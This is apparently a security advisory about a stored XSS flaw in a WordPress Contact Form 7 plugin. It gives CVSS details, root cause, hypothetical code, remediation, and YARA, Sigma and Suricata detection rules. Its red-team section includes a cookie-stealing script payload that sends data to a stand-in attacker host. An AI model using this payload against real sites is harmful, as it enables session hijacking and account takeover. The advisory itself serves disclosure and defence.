CVE-2025-58989

Executive Summary

CVE-2025-58989 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the WordPress plugin Dynamic Text Field For Contact Form 7, versions <= 1.0, developed by Silverplugins217. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into the plugin's dynamic text fields. When a site administrator or other user views the affected page (e.g., the Contact Form 7 form editor or a page displaying the form), the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability is classified as CWE-79: Improper Neutralization of Input During Web Page Generation. The CVSS v3.1 base score is 6.5 (Medium), with a vector emphasizing low attack complexity, required privileges, and user interaction. No public proof-of-concept (PoC) or exploit code is currently available, and no patch has been released by the vendor. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time, but the risk remains significant for unpatched WordPress installations.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. However, as a WordPress ecosystem component, it introduces supply chain risk: site administrators who install or update the plugin from the WordPress dashboard are trusting the vendor's code. Since no patch is available, users must either implement a virtual patch (e.g., via a Web Application Firewall) or remove the plugin entirely to mitigate the risk.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): Low – An attacker needs contributor-level access or higher to the WordPress site.
• User Interaction (UI): Required – The victim (e.g., an admin) must visit the page containing the malicious input.
• Scope (S): Changed – The vulnerable component (plugin) impacts resources beyond its security scope (the admin's browser session).
• Confidentiality (C): Low – Limited information disclosure (e.g., session tokens).
• Integrity (I): Low – Limited ability to modify content (e.g., defacement).
• Availability (A): Low – Limited impact on availability (e.g., redirecting users).

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate threat, but the stored nature of the XSS means that a single injection can affect multiple administrators over time.

Deep Dive & Mechanics

The vulnerability exists in the Dynamic Text Field For Contact Form 7 plugin, which extends Contact Form 7 by allowing administrators to add dynamic text fields (e.g., fields that auto-populate with user data or timestamps). The plugin fails to properly sanitize or escape user-supplied input when rendering these fields in the WordPress admin panel or on the frontend.

Root Cause: The plugin uses echo or similar output functions without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), or wp_kses_post()) to user-controlled data. An attacker with contributor-level access can inject JavaScript into a dynamic text field's label, value, or placeholder attribute. When an administrator views the Contact Form 7 form editor or a page displaying the form, the injected script executes.

Attack Flow:

1. Attacker logs in as a contributor (or higher) to the WordPress site.
2. Attacker creates or edits a Contact Form 7 form that uses the Dynamic Text Field plugin.
3. Attacker inserts a malicious payload into a text field, e.g., <script>alert('XSS')</script>.
4. The payload is stored in the WordPress database without sanitization.
5. An administrator visits the form editor or a page displaying the form.
6. The payload executes in the administrator's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the admin.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's main PHP file (e.g., dynamic-text-field-for-contact-form-7.php). A typical vulnerable pattern might look like:

Vulnerable Code (hypothetical):

function dtfcf7_render_field($field_name, $field_value) {
    echo '<input type="text" name="' . $field_name . '" value="' . $field_value . '">';
}

Patched Code (hypothetical):

function dtfcf7_render_field($field_name, $field_value) {
    echo '<input type="text" name="' . esc_attr($field_name) . '" value="' . esc_attr($field_value) . '">';
}

The patched version uses esc_attr() to escape HTML attribute contexts, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with the Dynamic Text Field For Contact Form 7 plugin (version <= 1.0) installed and activated.
• A contributor-level account or higher.

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Contact > Add New (or edit an existing form).
3. Add a Dynamic Text Field (e.g., using the [dynamictext your-field] shortcode).
4. In the field's label or default value, inject a payload such as:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the form.
6. As an administrator, navigate to Contact > Contact Forms and click on the edited form.
7. The payload executes, sending the admin's cookies to the attacker's server.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Defensive)

Detection:

• Monitor WordPress admin activity logs for suspicious form edits by non-admin users.
• Use a Web Application Firewall (WAF) with rules to block common XSS payloads in POST requests to wp-admin/admin-ajax.php or wp-admin/admin-post.php.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search the WordPress database for stored XSS payloads in the wp_postmeta table, specifically in meta keys related to the plugin (e.g., _dtfcf7_field_value).
• Use the Sigma rule below to detect XSS attempts in web server logs.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available – plugin not analyzed)
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g., GET /steal?cookie=...).
• Log Entries:
  • WordPress debug log entries showing wp_ajax_dtfcf7_save_field or similar AJAX actions with suspicious input.
  • Web server access logs with POST requests to /wp-admin/admin-ajax.php containing <script> tags.
• Database Artifacts:
  • Rows in wp_postmeta with meta_key like _dtfcf7_field_value containing JavaScript code.

Detection Engineering

YARA Rule

rule Detect_Dynamic_Text_Field_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads in Dynamic Text Field For Contact Form 7 plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-58989"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_marker = "dynamic-text-field-for-contact-form-7"
    condition:
        $plugin_marker and $xss_payload
}

Sigma Rule

title: Stored XSS Attempt via Dynamic Text Field Plugin
id: 8f7a3b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects potential stored XSS payloads in POST requests to WordPress admin AJAX endpoints related to the Dynamic Text Field plugin.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=dtfcf7_save_field'
        cs-uri-query|re: '(<script|<img.*onerror|onload=)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in form fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58989 Stored XSS Payload in Dynamic Text Field Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=dtfcf7_save_field"; http_client_body; pcre:"/(<script|<img.*onerror|onload=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete the Dynamic Text Field For Contact Form 7 plugin from all WordPress installations until a patch is released.
2. Virtual Patching – If the plugin is critical, implement a WAF rule to block POST requests containing <script> tags or other XSS patterns to the plugin's AJAX endpoints.
3. Audit User Roles – Review and restrict contributor-level accounts. Consider disabling the ability for contributors to edit forms.

Long-Term Fix:

• The vendor must release a patched version that properly escapes all user-supplied input using WordPress's esc_html(), esc_attr(), or wp_kses_post() functions.
• Alternatively, replace the plugin with a maintained alternative that offers similar functionality.

Detection:

• Deploy the YARA, Sigma, and Suricata rules provided above to detect exploitation attempts.
• Monitor WordPress admin logs for unusual form edits.

Valters IT